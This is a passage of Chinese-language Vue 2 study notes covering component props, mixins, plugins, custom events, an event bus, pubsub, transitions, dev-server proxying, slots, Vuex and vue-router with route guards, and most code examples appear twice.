entry: 'src/main2.js',
template: 'public/index2.html',
},
}
}
关闭语法检查:
module.exports = {
lintOnSave:false
}
module.exports = {
lintOnSave:false
}
总结:
- 使用
vue inspect > output.js
可以查看到 Vue-Cli 的默认配置 - 使用 vue.config.js 可以对 Vue-Cli 进行个性化定制,详见Vue-cli 配置参考
ref 属性
- 类似 HTML 页面标签的 id 属性,用于给元素或者子组件注册引用信息
- 应用在 HTML 标签上获取的是真实 DOM 元素,应用在组件标签上是组件实例对象(VueComponent)
- 获取方式:
this.$refs.xxx
,实例:
<template>
<div>
<h1 v-text="msg" ref="text"></h1><!--元素-->
<button ref="btn">按钮</button>
<School ref="school"/><!--子组件-->
</div>
</template>
<script>
// 引入组件
import School from "./components/School.vue";
export default {
name: "App",
data() {
return {
msg:'hello Vue!'
}
},
components: {
School,
},
methods: {
shwoElement(){
console.log(this.$refs.text);//真实 DOM 元素
console.log(this.$refs.btn);//真实 DOM 元素
console.log(this.$refs.school);//School 组件实例对象?Vue2:VueComponent;Vue3:Proxy
}
},
};
</script>
<template>
<div>
<h1 v-text="msg" ref="text"></h1><!--元素-->
<button ref="btn">按钮</button>
<School ref="school"/><!--子组件-->
</div>
</template>
<script>
// 引入组件
import School from "./components/School.vue";
export default {
name: "App",
data() {
return {
msg:'hello Vue!'
}
},
components: {
School,
},
methods: {
shwoElement(){
console.log(this.$refs.text);//真实 DOM 元素
console.log(this.$refs.btn);//真实 DOM 元素
console.log(this.$refs.school);//School 组件实例对象?Vue2:VueComponent;Vue3:Proxy
}
},
};
</script>
props 配置
功能:让组件接收外部传过来的数据,提高复用组件频率
传递数据
如下,name、sex、age 是外部传进的数据:
<template>
<div>
<School name="张三" sex="男" age="18"/>
<School name="李四" sex="男"/>
</div>
</template>
<template>
<div>
<School name="张三" sex="男" age="18"/>
<School name="李四" sex="男"/>
</div>
</template>
接收数据
- 直接接收:
props:["name","sex","age"]
- 限制类型:
//...
props:{
name:String,
age:Number,//限制传入的数据是数字
sex:String
}
//...
//...
props:{
name:String,
age:Number,//限制传入的数据是数字
sex:String
}
//...
<School name="张三" sex="男" age="18"/>
传入的 age
是字符串。
<School name="张三" sex="男" :age="18"/>
传入的 age
是数字,v-bind 命令将引号内的内容当做 js 解析。
- 限制类型(
type
)、限制必要性(required
)、指定默认值(default
)(最完整的写法):
//...
props:{
name:{
type:String,
required:true // name 是必要属性
},
age:{
type:Number,
default:21 // 默认值
},
sex:{
type:String,
required:true
}
}
//...
//...
props:{
name:{
type:String,
required:true // name 是必要属性
},
age:{
type:Number,
default:21 // 默认值
},
sex:{
type:String,
required:true
}
}
//...
注意:props
是只读的,Vue 底层会监测 props
的修改,如果进行了修改,就会发出警告,如果业务需求确实需要修改,需要复制 props
的内容到 data
中去,然后去修改 data
中的数据:
<template>
<div>
<h2>{{myAge}}</h2>
<button @click="addAge">点我年龄 + 1</button>
</div>
</template>
<script>
export default {
name: "my-school",
data() {
return {
myAge: this.age
};
},
methods: {
addAge() {
this.myAge++;// 而不是 this.age ++
}
},
props: ["name", "sex", "age"]
};
</script>
<template>
<div>
<h2>{{myAge}}</h2>
<button @click="addAge">点我年龄 + 1</button>
</div>
</template>
<script>
export default {
name: "my-school",
data() {
return {
myAge: this.age
};
},
methods: {
addAge() {
this.myAge++;// 而不是 this.age ++
}
},
props: ["name", "sex", "age"]
};
</script>
当 data
和 props
配置冲突时,props
优先。
mixin 混入(src/mixin.js)
多个组件共用的配置提取成一个混入的对象。
- 局部混合:
mixins:['xxx']
在子组件中引入,如 School.vue
和 Student.vue
组件共用 data
、mounted
、methods
等配置:
<!--School.vue 与 Student.vue 类似-->
<template>
<div>
<h2>{{name}}</h2>
<h2>{{ x }}</h2><!--100-->
<h2>{{ y }}</h2><!--888-->
<button @click="showName">显示学校名字</button>
</div>
</template>
<script>
import { mininTest } from "../mixin";
export default {
name: "my-school",
data() {
return {
x: 100,
name: "成都理工"
};
},
mixins: [mininTest]
};
</script>
<!--School.vue 与 Student.vue 类似-->
<template>
<div>
<h2>{{name}}</h2>
<h2>{{ x }}</h2><!--100-->
<h2>{{ y }}</h2><!--888-->
<button @click="showName">显示学校名字</button>
</div>
</template>
<script>
import { mininTest } from "../mixin";
export default {
name: "my-school",
data() {
return {
x: 100,
name: "成都理工"
};
},
mixins: [mininTest]
};
</script>
定义混合:
//minin.js
export const mininTest = {
data(){
return {
x:666,
y:888
}
},
methods: {
showName(){
alert(this.name)
}
},
mounted() {
},
}
//minin.js
export const mininTest = {
data(){
return {
x:666,
y:888
}
},
methods: {
showName(){
alert(this.name)
}
},
mounted() {
},
}
minin.js 中,data
配置项会和 vc 原本配置混合,当数据冲突时,以 vc 为准。而生命周期钩子,都会被替换掉,以 minin.js 为准。
- 全局混合:
Vue.mixin(xxx)
在 main.js 中引入,vm 以及所有的 vc 都有混合配置项。
//main.js
import { mininTest } from "./mixin";
Vue.mixin(mininTest)
//main.js
import { mininTest } from "./mixin";
Vue.mixin(mininTest)
插件(src/plugin.js)
用于增强 Vue ,包含 install 方法的一个对象,install 第一个参数是 Vue
,第二个及以后的参数是插件使用者传递的数据。
定义插件:
export default {
install(){
// 插件执行代码
}
}
export default {
install(){
// 插件执行代码
}
}
使用插件:
// src/main.js
// 引入插件
import plugins from './plugins'
// 使用插件
Vue.use(plugins,1,2,3);
// src/main.js
// 引入插件
import plugins from './plugins'
// 使用插件
Vue.use(plugins,1,2,3);
插件接收的参数是 Vue 构造函数,可以将全局过滤器、全局指令、混入定义在这个文件,便于管理。
export default {
install(Vue){
// 全局过滤器
Vue.filter('myFilter',function (value) {
// ...
})
// 全局指令
Vue.directive('fbind',{
// ...
})
// 定义混入
Vue.mixin({
// ...
})
// 在 Vue 原型上添加一个方法(vm、vc 都可使用)
Vue.prototype.hello = () => {alert('Hello!Younth.')}
}
}
export default {
install(Vue){
// 全局过滤器
Vue.filter('myFilter',function (value) {
// ...
})
// 全局指令
Vue.directive('fbind',{
// ...
})
// 定义混入
Vue.mixin({
// ...
})
// 在 Vue 原型上添加一个方法(vm、vc 都可使用)
Vue.prototype.hello = () => {alert('Hello!Younth.')}
}
}
scoped 样式
让样式在局部生效,防止冲突。
/* Student.vue */
// 只对局部组件有效
<style scoped>
.title {
color: blue;
}
</style>
// 只能写 less 样式
<style lang="less">
</style>
/* Student.vue */
// 只对局部组件有效
<style scoped>
.title {
color: blue;
}
</style>
// 只能写 less 样式
<style lang="less">
</style>
一般,公共样式另起 src/main.css
,然后在 src/main.js
引入
// main.js
import './main.css'
// main.js
import './main.css'
组件化编码流程
Todo 案例(初始版)
- 组件化编码流程:
- 拆分静态组件:组件要按照功能点拆分,命名不要与 HTML 元素冲突。
- 实现动态组件:考虑好数据的存放位置,是否是多个组件使用?(读数据,展示数据,更新数据)
- 一个组件在使用:放在自身即可
- 一些组件在用:放在共同的父组件上(状态提升)
- 实现交互:从绑定事件开始
- props 适用于:
- 父组件 => 子组件 通信
- 子组件 => 父组件 通信(要求父先给子一个函数)
- 使用 v-model 要切记:v-model 绑定的值不能是 props 传过来的值,因为 props 是不可以修改的!
- props 传过来的若是对象类型的值,修改对象中的属性时 Vue 不会报错,要避免这样做。
uuid ?nanoid ?
计算属性可以互相引用。
要修改计算属性,不能使用简写形式,要定义 setter。
浏览器本地存储 webStorage
localStorage 浏览器关闭不会清空,sessionStorage 关闭浏览器后数据被清空。
- 存
localStorage.setItem('name','张三');
sessionStorage.setItem('name','张三');
localStorage.setItem('name','张三');
sessionStorage.setItem('name','张三');
key、value 以键值对的形式存在本地,都是字符串。
如果 value 不是字符串,会调用方法 toString()
转换为字符串。若是对象,不能使用默认的 toString()
方法,要使用 JSON.stringfy()
。
- 读取
localStorage.getItem('name');
sessionStorage.setItem('name','张三');
localStorage.getItem('name');
sessionStorage.setItem('name','张三');
- 删除
删除单个:
localStorage.removeItem('name');
sessionStorage.setItem('name','张三');
localStorage.removeItem('name');
sessionStorage.setItem('name','张三');
清空所有:
localStorage.clear();
sessionStorage.setItem('name','张三');
localStorage.clear();
sessionStorage.setItem('name','张三');
#@ 组件自定义事件
绑定自定义事件
以下是基于 Vue2 练习的,Vue3 中没有 this.$refs.xxx.$on
。
将子组件 School.vue
的参数传递给父组件 App.vue
,App 中先设置接收参数的方法:
//...
methods: {
getSchoolName(value,...params){
console.log("App 接受到了数据:", value,params);
},
},
//...
//...
methods: {
getSchoolName(value,...params){
console.log("App 接受到了数据:", value,params);
},
},
//...
在模板中,将方法传递给 School:
v-bind
,子组件使用props
接收函数
<template>
<!-- App.vue -->
<School :getName="getSchoolName"/>
</template>
<template>
<!-- App.vue -->
<School :getName="getSchoolName"/>
</template>
// School.vue
//...
props:["getName"],
methods:{
sendName(){//
this.getName(this.name)
}
}
//...
// School.vue
//...
props:["getName"],
methods:{
sendName(){//
this.getName(this.name)
}
}
//...
v-on
,子组件使用this.$emit
绑定自定义事件
<template>
<!-- App.vue -->
<School @getName="getSchoolName"/>
</template>
<template>
<!-- App.vue -->
<School @getName="getSchoolName"/>
</template>
// School.vue
//...
methods:{
sendName(){
this.$emit('getName',this.name,1,2,3)
}
}
//...
// School.vue
//...
methods:{
sendName(){
this.$emit('getName',this.name,1,2,3)
}
}
//...
- 使用
ref
<template>
<!-- App.vue -->
<School ref="school"/>
</template>
<script>
// ... 在 School 组件上绑定 getSchoolName 函数,命名为 getName
mounted(){
console.log(this.$refs.school);
// this.$refs.home 拿到 Home 组件实例对象,仅 Vue2
this.$refs.school.$on('getName',this.getSchoolName);
this.$refs.school.$on('getName',function(value,...params){
// this 的指向是 School 组件
});
this.$refs.school.$on('getName',(value,...params) => {
// this 的指向是 App 组件
});
}
//...
</script>
<template>
<!-- App.vue -->
<School ref="school"/>
</template>
<script>
// ... 在 School 组件上绑定 getSchoolName 函数,命名为 getName
mounted(){
console.log(this.$refs.school);
// this.$refs.home 拿到 Home 组件实例对象,仅 Vue2
this.$refs.school.$on('getName',this.getSchoolName);
this.$refs.school.$on('getName',function(value,...params){
// this 的指向是 School 组件
});
this.$refs.school.$on('getName',(value,...params) => {
// this 的指向是 App 组件
});
}
//...
</script>
注意如果,绑定 getName
时,直接传入函数,this 的指向是 School 组件。
// School.vue 在子组件中触发 getName 函数
//...
methods:{
sendData(){
this.$emit('getName',this.loacation,1,2,3)
}
}
//...
// School.vue 在子组件中触发 getName 函数
//...
methods:{
sendData(){
this.$emit('getName',this.loacation,1,2,3)
}
}
//...
解绑自定义事件
//...
methods:{
unbind(){
this.$off('get-name');//解绑指定事件 `get-name`:
this.$off(['get-name','get-age']);//解绑多个自定义事件
this.$off();//解绑所有自定义事件
}
}
//...
//...
methods:{
unbind(){
this.$off('get-name');//解绑指定事件 `get-name`:
this.$off(['get-name','get-age']);//解绑多个自定义事件
this.$off();//解绑所有自定义事件
}
}
//...
组件绑定原生 DOM 事件
使用 native 修饰符:
<template>
<Student @click.native="show" />
</template>
<template>
<Student @click.native="show" />
</template>
总结
- 组件自定义事件适用于子组件向父组件传递数据,而父组件向子组件传递事件,一般是 props 。
全局事件总线 GlobalEventBus
一种组件之间的通信方式,适用于任意组件之间的通信。 一般用于兄弟组件、祖孙组件之间。
- 安装全局事件总线
// main.js
new Vue({
render: h => h(App),
beforeCreate(){
Vue.prototype.$bus = this//安装全局事件总线,$bus 就是当前应用的 vm
}
}).$mount("#app");
// main.js
new Vue({
render: h => h(App),
beforeCreate(){
Vue.prototype.$bus = this//安装全局事件总线,$bus 就是当前应用的 vm
}
}).$mount("#app");
- 使用事件总线
组件 A 接收数据,this.$bus.$on
:
<script>
//...
methods: {
demo(data) {
//...
console.log("接收到了数据:", data);
},
},
mounted() {
this.$bus.$on("getName", this.demo);
},
//...
</script>
<script>
//...
methods: {
demo(data) {
//...
console.log("接收到了数据:", data);
},
},
mounted() {
this.$bus.$on("getName", this.demo);
},
//...
</script>
组件 B 提供数据:
<script>
mounted() {
this.$bus.$emit("getName", this.name);
},
</script>
<script>
mounted() {
this.$bus.$emit("getName", this.name);
},
</script>
- 最好在每个组件销毁前,也就是在
beforeDestroy
钩子中,使用this.$bus.$off(['demo1','demo2'])
解绑当前组件所用到的事件。而不是this.$bus
上的所有事件。
使用第三方库,消息订阅与发布(pubsub)
- 一种组件之间的通信方式,适用于任意组件间通信。
- 使用步骤:
- 安装第三方库,pubsub:
npm i pubsub-js
; - 引入:
import pubsub from 'pubsub-js'
;
- 安装第三方库,pubsub:
- 接收数据:订阅消息,在接收数据的组件 A 挂载完成后:
<script>
// A.vue
methods(){
demo(param1,param2){
//...
}
},
mounted(){
this.pId = pubsub.subscribe('get-name',this.demo);
//或者直接将回调写在 mounted 里面
this.pId = pubsub.subscribe('get-name',(param1,param2) => {
// 但是要注意,回调写成箭头函数,this 指向才是 vc
// param1 是订阅的消息名:get-nam,param2 才是接收到的数据
})
}
//...
</script>
<script>
// A.vue
methods(){
demo(param1,param2){
//...
}
},
mounted(){
this.pId = pubsub.subscribe('get-name',this.demo);
//或者直接将回调写在 mounted 里面
this.pId = pubsub.subscribe('get-name',(param1,param2) => {
// 但是要注意,回调写成箭头函数,this 指向才是 vc
// param1 是订阅的消息名:get-nam,param2 才是接收到的数据
})
}
//...
</script>
最好在 A 组件销毁前,取消订阅:pubsub.unsubscribe(pId)
。
- 提供数据:
pubsub.publish('get-name',params-data)
$nextTick
- 语法:
this.$nextTick(callback)
- 作用:在下一次 DOM 更新结束后执行指定的回调函数
动画过渡
动画
<template>
<div>
<button @click="isShow = !isShow">点我切换动画</button>
<transition name="hello" appear>
<!-- 或者 -->
<!-- <transition name="hello" :appear="true"> -->
<h2 v-show="isShow" class="test">你好!</h2>
</transition>
</div>
</template>
<style scoped>
h2 {
background-color: orange;
}
.hello-enter-active {
animation: test 0.5s linear;
}
.hello-leave-active {
animation: test 0.5s linear reverse;
}
@keyframes test {
from {
transform: translateX(-100%);
}
to {
transform: translateX(0px);
}
}
</style>
<template>
<div>
<button @click="isShow = !isShow">点我切换动画</button>
<transition name="hello" appear>
<!-- 或者 -->
<!-- <transition name="hello" :appear="true"> -->
<h2 v-show="isShow" class="test">你好!</h2>
</transition>
</div>
</template>
<style scoped>
h2 {
background-color: orange;
}
.hello-enter-active {
animation: test 0.5s linear;
}
.hello-leave-active {
animation: test 0.5s linear reverse;
}
@keyframes test {
from {
transform: translateX(-100%);
}
to {
transform: translateX(0px);
}
}
</style>
transition
的 appear
属性控制是否页面初始加载时就显示动画。
transition
的 name
属性值对应 class 中的类名,动画效果。
过渡
<template>
<div>
<button @click="isShow = !isShow">点我切换动画</button>
<transition name="hello" appear>
<h2 v-show="isShow">你好!</h2>
</transition>
</div>
</template>
<style scoped>
h2 {
background-color: orange;
}
/* 进入起点、离开终点 */
.hello-enter,
.hello-leave-to {
transform: translateX(-100%);
}
.hello-enter-active,
.hello-leave-active {
transition: 0.5s linear;
}
/* 进入终点、离开起点 */
.hello-enter-to,
.hello-leave {
transform: translateX(0);
}
</style>
<template>
<div>
<button @click="isShow = !isShow">点我切换动画</button>
<transition name="hello" appear>
<h2 v-show="isShow">你好!</h2>
</transition>
</div>
</template>
<style scoped>
h2 {
background-color: orange;
}
/* 进入起点、离开终点 */
.hello-enter,
.hello-leave-to {
transform: translateX(-100%);
}
.hello-enter-active,
.hello-leave-active {
transition: 0.5s linear;
}
/* 进入终点、离开起点 */
.hello-enter-to,
.hello-leave {
transform: translateX(0);
}
</style>
- 多个元素过渡,
transition-group
:
<template>
<div>
<button @click="isShow = !isShow">点我切换动画</button>
<transition-group name="hello" appear>
<h2 v-show="!isShow" key="1">你好1!</h2>
<h2 v-show="isShow" key="2">你好2!</h2>
</transition>
</div>
</template>
<template>
<div>
<button @click="isShow = !isShow">点我切换动画</button>
<transition-group name="hello" appear>
<h2 v-show="!isShow" key="1">你好1!</h2>
<h2 v-show="isShow" key="2">你好2!</h2>
</transition>
</div>
</template>
注意:每个元素要指定 key 值。
- 可以集成第三方库,如
animate.css
Vue 与 ajax 请求
解决 ajax 跨域问题
使用第三方库:axios
、fetch
,都遵循同源策略:协议名、主机名、端口号一致,如何解决跨域问题:
- cors,后端配置,服务器返回数据的时候携带特定响应头,浏览器不再劫持数据
- jsonp,使用
script
标签,将链接放在src
中,需要前后端配合,但是只适用于 get 请求 - 使用代理服务器: 服务器之间传数据不受同源策略限制,设置代理服务器的协议名、主机名、端口号和浏览器地址一致。
方式一 devServer 配置单个代理
如,项目域名是 http:localhost:8080
,需要跨域访问服务器 http:localhost:5000/students
的数据 ,通过 Vue-cli
开启代理服务器:
- 在
vue.config.js
中配置devServer
:
module.exports = {
devServer: {
proxy: 'http://localhost:5000'// 配置地址是需要访问的服务器
}
}
module.exports = {
devServer: {
proxy: 'http://localhost:5000'// 配置地址是需要访问的服务器
}
}
- 代码中向代理服务器发送请求:
axios.get('http:localhost:8080/students').then(
response => {},
err => {}
);
axios.get('http:localhost:8080/students').then(
response => {},
err => {}
);
但是,请求地址会优先匹配前端资源,如果请求了前端不存在的资源时,该请求才会转发给服务器。
vue-cli 创建的项目中,public 文件夹下的东西,是本地服务器能直接访问的,也就是 8080 有 public 文件夹下的所有数据,如果访问 public 文件夹下的内容,是不会向 5000 端口请求。
缺点:不能配置多个代理,不能灵活控制是否走代理。
方式二 devServer 配置多个代理
// vue.config.js
module.exports = {
devServer: {
proxy: {
'/api': {//以 api 开头的请求路径
target: 'http://localhost:5000',//代理目标的基础路径
ws: true,//是否开启 websocket,默认开启,为 true
changeOrigin: true,//默认为 true
pathRewrite:{'^/api':''}//避免向服务器请求的地址中携带自定义的前缀
},
'/foo': {
target: '<other_url>',
pathRewrite:{'^/foo':''}
}
}
}
}
// vue.config.js
module.exports = {
devServer: {
proxy: {
'/api': {//以 api 开头的请求路径
target: 'http://localhost:5000',//代理目标的基础路径
ws: true,//是否开启 websocket,默认开启,为 true
changeOrigin: true,//默认为 true
pathRewrite:{'^/api':''}//避免向服务器请求的地址中携带自定义的前缀
},
'/foo': {
target: '<other_url>',
pathRewrite:{'^/foo':''}
}
}
}
}
向代理服务器发送请求:
// 紧跟端口号后配置特有前缀
axios.get('http:localhost:8080/api/students').then(
response => {},
err => {}
);
// 紧跟端口号后配置特有前缀
axios.get('http:localhost:8080/api/students').then(
response => {},
err => {}
);
- 如果不配置:
pathRewrite:{'^/api':''}
,向服务器请求的数据是:http:localhost:5000/api/students
,资源显示不存在 - changeOrigin 为 true 时:服务器收到的请求头中的 host 为:localhost:5000(默认为 true)
- changeOrigin 为 false 时:服务器收到的请求头中的 host 为:localhost:8080
说明:
- 优点:可以配置多个代理,可以灵活控制请求是否走代理
- 缺点:配置略微繁琐,请求资源时必须加前缀
案例:github 用户搜索
公共样式引入:
- App.vue 中引入:
import './assets/css/bootstrap.css'
,这种方式,vue 会验证样式的合法性,如果 css 中引入了不存在的字体或其他文件,会报错 - public 中放入 css 资源,在
index.html
主页面使用link
标签引入,这种方式,vue 不会校验
常用的 ajax 库
axios
、fetch
,或者 vue-resource
(Vue 中的插件,安装完后出现 vm.$http
)。
slot 插槽
作用:父组件向子组件指定位置插入 html 结构
- 默认插槽,当组件不采用自闭和的方式引用时,组件标签内的内容会替换掉
slot
标签所在的位置。
//Catogory.vue
<template>
<div>
<h3>{{title}}</h3>
<slot></slot> //会被替换掉
</div>
</template>
//Catogory.vue
<template>
<div>
<h3>{{title}}</h3>
<slot></slot> //会被替换掉
</div>
</template>
// App.vue
<template>
<div>
<Catogory>
<img src="" alt="">
</Catogory>
<Catogory>
<video controls src=""></video>
</Catogory>
</div>
</template>
// App.vue
<template>
<div>
<Catogory>
<img src="" alt="">
</Catogory>
<Catogory>
<video controls src=""></video>
</Catogory>
</div>
</template>
- 具名插槽
命名:<slot name="xxx"></slot>
,使用:<div slot="footer"></div>
、<template v-slot:footer></template>
//Catogory.vue
<template>
<div>
<h3>{{title}}</h3>
<slot name="center"></slot>
<slot name="footer"></slot>
</div>
</template>
//Catogory.vue
<template>
<div>
<h3>{{title}}</h3>
<slot name="center"></slot>
<slot name="footer"></slot>
</div>
</template>
// App.vue
<template>
<div>
<Catogory>
<img slot="center" src="" alt="">
<div slot="footer">
<a href="">11</a>
<a href="">22</a>
</div>
</Catogory>
<Catogory>
<video slot="center" controls src=""></video>
<template v-slot:footer>
<a href="">11</a>
<a href="">22</a>
</template>
</Catogory>
</div>
</template>
// App.vue
<template>
<div>
<Catogory>
<img slot="center" src="" alt="">
<div slot="footer">
<a href="">11</a>
<a href="">22</a>
</div>
</Catogory>
<Catogory>
<video slot="center" controls src=""></video>
<template v-slot:footer>
<a href="">11</a>
<a href="">22</a>
</template>
</Catogory>
</div>
</template>
- 作用域插槽
适用:数据在组件自身,但根据数据生成的结构需要组件的使用者来决定。
父组件:scopeData
是一个对象,可以使用解构赋值
<template>
<div>
<Catogory>
<template scope="scopeData">
<ul>
<li v-for="g in scopeData.games" :key="g">{{g}}</li>
</ul>
</template>
</Catogory>
<Catogory>
<template slot-scope="scopeData">
<ol>
<li v-for="g in scopeData.games" :key="g">{{g}}</li>
</ol>
</template>
</Catogory>
</div>
</template>
<template>
<div>
<Catogory>
<template scope="scopeData">
<ul>
<li v-for="g in scopeData.games" :key="g">{{g}}</li>
</ul>
</template>
</Catogory>
<Catogory>
<template slot-scope="scopeData">
<ol>
<li v-for="g in scopeData.games" :key="g">{{g}}</li>
</ol>
</template>
</Catogory>
</div>
</template>
子组件传数据:
<template>
<div>
<slot :games="games"></slot>
</div>
</template>
<template>
<div>
<slot :games="games"></slot>
</div>
</template>
Vuex 插件
什么时候使用 Vuex ?
- 多个组件依赖于同一状态
- 来自不同组件的行为需要变更同一状态
工作原理

Actions
,Mutations
,State
都是对象,都由 store
管理。
- Actions,这一步请求数据
- Mutations
- State
搭建 Vuex 环境
- 安装
npm i vuex@3
(npm i vuex
默认安装最新版本,vue2 使用 vuex3)
引入 vuex,添加 store 配置项:
//main.js
import Vuex from 'vuex'
Vue.use(Vuex)
new Vue({
el:'#app',
render:h => h(App),
store:'hello',
})
//main.js
import Vuex from 'vuex'
Vue.use(Vuex)
new Vue({
el:'#app',
render:h => h(App),
store:'hello',
})
vm 以及所有 vc 身上都会出现 $store
。
- 创建 store
注意:Vue 在执行 main.js 时,会扫描所有 import
语句,按照 import
的顺序先执行所有与 import
相关的文件。
- 在哪创建?
src/vuex/store.js
或者src/store/index.js
//src/store/index.js
import Vue from 'vue'
import Vuex from 'vuex'
Vue.use(Vuex)//注意,在创建 Store 实例前,要先执行这个。放在 main.js 里,执行顺序会有问题,所以放在这里
const actions = {}//用于响应组件中的动作
const mutations = {}//用于操作数据 state
const state ={}//用于存储数据
export default new Vuex.Store({//创建并暴露 store
actions,
mutations,
state
})
//src/store/index.js
import Vue from 'vue'
import Vuex from 'vuex'
Vue.use(Vuex)//注意,在创建 Store 实例前,要先执行这个。放在 main.js 里,执行顺序会有问题,所以放在这里
const actions = {}//用于响应组件中的动作
const mutations = {}//用于操作数据 state
const state ={}//用于存储数据
export default new Vuex.Store({//创建并暴露 store
actions,
mutations,
state
})
在 main.js 中创建 vm 时传入 store
配置项:
//main.js
import store from './store'//引入 store
new Vue({
el:'#app',
render:h => h(App),
store,
})
//main.js
import store from './store'//引入 store
new Vue({
el:'#app',
render:h => h(App),
store,
})
使用 Vuex
- 组件模板中读取 vuex 中的数据:
$store.state.xxx
- 组件中修改 vuex 中的数据:
$store.dispatch('actionName',data)
或者$store.commit('mutationName',data)
(一般 mutation 中的属性名大写)
若没有网络请求或者其他业务逻辑,组件中也可以越过 actions
,直接 commit
mapState 和 mapGetters
- 对象写法和数组写法
computed: {
...mapState({//借助 mapState 批量生成计算属性,对象写法
sum:'sum',
school:'school',
subject:'subject'
}),
...mapState(["sum", "school", "subject"]),//数组写法
},
computed: {
...mapState({//借助 mapState 批量生成计算属性,对象写法
sum:'sum',
school:'school',
subject:'subject'
}),
...mapState(["sum", "school", "subject"]),//数组写法
},
mapMutations 和 mapActions
若需要传递参数需要:在模板中绑定事件时传递好参数,否则参数是事件对象
路由器 router 、路由 route
vue-router 的理解
vue 的一个插件库,专门来实现实现单页面应用( SPA : single page web application )。
对 SPA 的理解
- 单页面 Web 应用(single page web application, SPA)
- 整个应用只有一个完整的页面
- 点击页面中的导航连接不会刷新页面,只会做页面的局部更新
- 数据需要通过 ajax 请求获取数据
路由的理解
什么是路由?
- 一个路由就是一组映射关系(key - value)
- key 为路径,value 可能是 function 或 component
路由分类:
- 后端路由:
- 理解:value 是 function ,用于处理客户端的请求
- 工作过程:服务器接收到一个请求时,根据请求路径找到匹配的函数来处理请求,返回响应数据
- 前端路由:
- 理解:value 是 component,用于展示页面内容
- 工作过程:当浏览器路径改变时,对应组件就会显示
- 后端路由:
路由的基本使用
注意点:
- 路由组件通常存放在 pages 文件夹,一般组件通常存放在 components 文件夹
- 通过切换," 隐藏 "了的路由组件,默认是被销毁的,需要的时候再去挂载
- 每个组件都有自己的
$route
属性,里面存储着自己的路由信息 - 整个应用只有一个
router
,可以通过组件的$router
属性获取到
嵌套(多级)路由
配置:
//...
{
path: '/home',
component: Home,
children: [
{
path: 'news',
component: News,
},
{
path: 'message',
component: Message,
},
]
},
//...
//...
{
path: '/home',
component: Home,
children: [
{
path: 'news',
component: News,
},
{
path: 'message',
component: Message,
},
]
},
//...
跳转路径:
<router-link active-class="active" to="/home/news"> News </router-link>
<router-link active-class="active" to="/home/message"> Message </router-link>
<router-link active-class="active" to="/home/news"> News </router-link>
<router-link active-class="active" to="/home/message"> Message </router-link>
路由传参
query 传参
- 跳转路由并携带
query
参数,to 的字符串写法:
<router-link :to="`/home/message/detail?id=${m.id}&title=${m.titile}&text=${m.text}`">{{m.text}}</router-link>
<router-link :to="`/home/message/detail?id=${m.id}&title=${m.titile}&text=${m.text}`">{{m.text}}</router-link>
- 跳转路由并携带
query
参数,to 的对象写法:
<router-link :to="{
path:'/home/message/detail',
query:{
id:m.id,
text:m.text,
titile:m.titile
}
}">
{{m.text}}
</router-link>
<router-link :to="{
path:'/home/message/detail',
query:{
id:m.id,
text:m.text,
titile:m.titile
}
}">
{{m.text}}
</router-link>
params 传参
和 query 参数类似,需在路由 path 属性配置占位符:
//...
{
name:'msg-info',
path: 'detail/:id/:title/:text',
component: Detail
}
//...
//...
{
name:'msg-info',
path: 'detail/:id/:title/:text',
component: Detail
}
//...
如果使用对象写法,只能使用 name 属性配置路径。
命名路由
可以简化跳转:
<router-link :to="{
name:'msg-info',
query:{
id:m.id,
text:m.text,
titile:m.titile
}
}">
{{m.text}}
</router-link>
<router-link :to="{
name:'msg-info',
query:{
id:m.id,
text:m.text,
titile:m.titile
}
}">
{{m.text}}
</router-link>
props 配置
- props 为对象,对象中的所有 key-value 组合最终会通过 props 传给 Detail 组件
- props 为布尔值,只把路由收到的所有 params 参数通过 props 传递给 Detail 组件
- props 为函数,接收
$route
为参数
router-link 的 replace 属性
作用:控制路由跳转时操作浏览器记录的模式
编程式路由导航
不借助 router-link
实现路由跳转,让路由更加灵活。主要使用 vm.$router 实例上的方法:push
、replace
、back
、forward
、go
。
缓存路由组件 keep-alive
<!-- 一个组件 -->
<keep-alive include="News"><!--组件名-->
<router-view/>
</keep-alive>
<!-- 或者缓存多个组件 -->
<keep-alive :include="['News','Message']">
<router-view/>
</keep-alive>
<!-- 缓存所有组件 -->
<keep-alive>
<router-view/>
</keep-alive>
<!-- 一个组件 -->
<keep-alive include="News"><!--组件名-->
<router-view/>
</keep-alive>
<!-- 或者缓存多个组件 -->
<keep-alive :include="['News','Message']">
<router-view/>
</keep-alive>
<!-- 缓存所有组件 -->
<keep-alive>
<router-view/>
</keep-alive>
钩子:activated、deactivated
路由组件所独有的钩子,用于捕获路由组件的激活状态。
activated
路由组件被激活时触发,切换组件是否显示,不同于销毁deactivated
路由组件失活时触发
补充:nextTick
路由守卫
全局路由守卫 beforeEach/afterEach
- 全局前置 router.beforeEach
全局前置路由守卫 - 初始化时被调用、每次路由切换前被调用
- 通过组件名判断授权
router.beforeEach((to,from,next) => {
if(to.name === 'xiaoxi' || to.name === 'xinwen'){
if(localStorage.getItem('user') === 'admin') next();
else alert('不是 admin ,暂无权限')
}
else next()
})
router.beforeEach((to,from,next) => {
if(to.name === 'xiaoxi' || to.name === 'xinwen'){
if(localStorage.getItem('user') === 'admin') next();
else alert('不是 admin ,暂无权限')
}
else next()
})
- 在
meta
中配置属性
router.beforeEach((to, from, next) => {
if (to.meta.isAuth) {
if (localStorage.getItem('user') === 'admin') next();
else alert('不是 admin ,暂无权限')
}
else next()
})
router.beforeEach((to, from, next) => {
if (to.meta.isAuth) {
if (localStorage.getItem('user') === 'admin') next();
else alert('不是 admin ,暂无权限')
}
else next()
})
- 全局后置 router.afterEach
全局后置路由守卫 -** 初始化时执行、每次路由切换后**被调用
router.afterEach((to, from) => {
if (to.meta.title) document.title = to.meta.title || ''
else document.title = 'vue2-test'
})
router.afterEach((to, from) => {
if (to.meta.title) document.title = to.meta.title || ''
else document.title = 'vue2-test'
})
独享路由守卫 beforeEnter
使用和全局前置一样,组件没有独享的后置路由守卫。可以搭配全局后置路由守卫使用。
组件内路由守卫 beforeRouteEnter/beforeRouteLeave
- beforeRouteEnter:通过路由规则,进入该组件时被调用
- beforeRouteLeave:通过路由规则,离开该组件时被调用
注意要与 beforeEach/afterEach
区分。
<script>
export default {
name: "About",
data() {
return {};
},
beforeRouteEnter(to,from,next){
// ...进入规则
next();
},
beforeRouteLeave(to,from,next){
// ...离开规则
next();
}
};
</script>
<script>
export default {
name: "About",
data() {
return {};
},
beforeRouteEnter(to,from,next){
// ...进入规则
next();
},
beforeRouteLeave(to,from,next){
// ...离开规则
next();
}
};
</script>
路由:hash (#) & history 模式
- hash 值不会包含在 HTTP 请求中,即 hash 值不会带给服务器
- hash :
